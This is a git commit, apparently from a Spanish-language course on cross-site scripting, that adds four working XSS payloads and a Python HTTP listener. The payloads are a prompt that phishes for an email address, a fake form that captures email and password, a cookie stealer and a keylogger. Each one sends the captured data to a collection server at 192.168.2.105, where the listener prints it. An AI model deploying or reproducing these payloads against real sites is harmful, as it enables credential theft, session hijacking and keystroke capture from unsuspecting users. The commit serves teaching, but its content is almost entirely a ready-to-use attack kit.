Add Tema 6 - CrossSite Scripting XSS
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
<script>
|
||||
var email = prompt("Ingresa tu correo electrónico para visualizar el post", "example@example.com");
|
||||
|
||||
if (email == null || email == ""){
|
||||
alert("Es necesario ingresar un correo electrónico válido");
|
||||
} else {
|
||||
fetch('http://192.168.2.105/?email=' + email);
|
||||
}
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,19 @@
|
||||
<div id="formContainer"></div>
|
||||
|
||||
<script>
|
||||
var email;
|
||||
var password;
|
||||
var form = '<form>' +
|
||||
'Email: <input type="email" id="email" required>' +
|
||||
' Contraseña: <input type="password" id="password" required>' +
|
||||
'<input type="button" onclick="submitForm()" value="Submit">' +
|
||||
'</form>';
|
||||
|
||||
document.getElementById("formContainer").innerHTML = form;
|
||||
|
||||
function submitForm(){
|
||||
email = document.getElementById("email").value;
|
||||
password = document.getElementById("password").value;
|
||||
fetch("http://192.168.2.105/?email=" + email + "&password=" + password);
|
||||
}
|
||||
</script>
|
||||
@@ -0,0 +1,5 @@
|
||||
<script>
|
||||
var request = new XMLHttpRequest();
|
||||
request.open('GET', 'http://192.168.2.105/?cookie=' + document.cookie);
|
||||
request.send();
|
||||
</script>
|
||||
@@ -0,0 +1,10 @@
|
||||
<script>
|
||||
var k = "";
|
||||
document.onkeypress = function(e){
|
||||
e = e || window.event;
|
||||
k += e.key;
|
||||
var i = new Image();
|
||||
i.src = "http://192.168.2.105/" + encodeURIComponent(k);
|
||||
};
|
||||
|
||||
</script>
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import signal
|
||||
import sys
|
||||
|
||||
from urllib.parse import unquote
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
print('Servidor detenido...')
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
decoded_path = unquote(self.path[1:])
|
||||
print(decoded_path)
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
server_address = ('', 80)
|
||||
httpd = HTTPServer(server_address, RequestHandler)
|
||||
print('Servidor iniciado en el puerto 80...')
|
||||
httpd.serve_forever()
|
||||
Reference in New Issue
Block a user